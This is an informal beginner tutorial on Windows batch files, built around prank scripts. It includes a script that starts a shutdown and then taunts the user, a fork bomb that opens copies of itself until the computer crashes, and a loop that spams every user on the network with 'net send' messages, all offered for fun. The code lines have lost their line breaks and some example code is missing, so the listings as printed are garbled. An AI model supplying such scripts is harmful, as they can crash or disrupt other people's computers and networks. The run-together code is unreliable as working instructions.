Well i have seen a few batch tutorials out there, but none of them really follow up with anything so I’m making a 3 part tutorial on batch.
I will attach all .bat (batch) files needed in their appropriate
Step 1: Hello World!
To start of to open the Command Prompt just click “Start => Run and type ‘cmd'”
Basically to start off with you should open notepad and type:
What this does is essentially block the command from showing while still showing the output.
Now with batch files there are various ways to “communicate”.
@echo offecho hello worldmsg * hello worldnet send * hello world
Go ahead and write that into notepad and save it as com.bat. Then double click to start.
We will be using all of them except echo as it is pretty self-explanatory.
Step 2: A little more “tricky”
Okay now we get into a little more complicated, we’ll not really. 😀
Start off with a blank notepad document and type this:
@echo offshutdown -spauseshutdown -amsg * tricked you!! haha
Now shutdown basically just shutdowns the computer. Look at the video for a more in detail look or type shutdown -?into cmd.
pause basically waits for you to press ANY KEY to continue.
And you know what msg does from the previous step..
Try this out by saving it as tricky.bat.
Step 3: Fork Bombs / Infinite Loop (the GOTO trap)
Basically all a fork bomb is, is a program that keeps opening copies of itself which open up copies of itself, and so on and so forth. Well a VERY basic fork bomb would be:
@echo off:Startstartfork.batGOTO Start
Save as fork.bat
:Start marks a place in the script to which you may want to GOTO later or quicker then planned.
GOTO tells the program to go to a specific part
start basically “starts” something it can be a webpage, anything.
eg, start http://instructables.com”
This GOTO trap last forever until the user either breaks the process of the computer crashes.
The start fork.bat can be replaced with any command you like, for example;
@echo off:Startnet send * laconixrules!GOTO Start
Which basically send the text “laconix rules!” to anyone on your network with the Messenger Service running.
Step 4: Have fun…
Hope your eager for the next tutorial, i know i am!
Go an hone you newly learnt skill and have phun!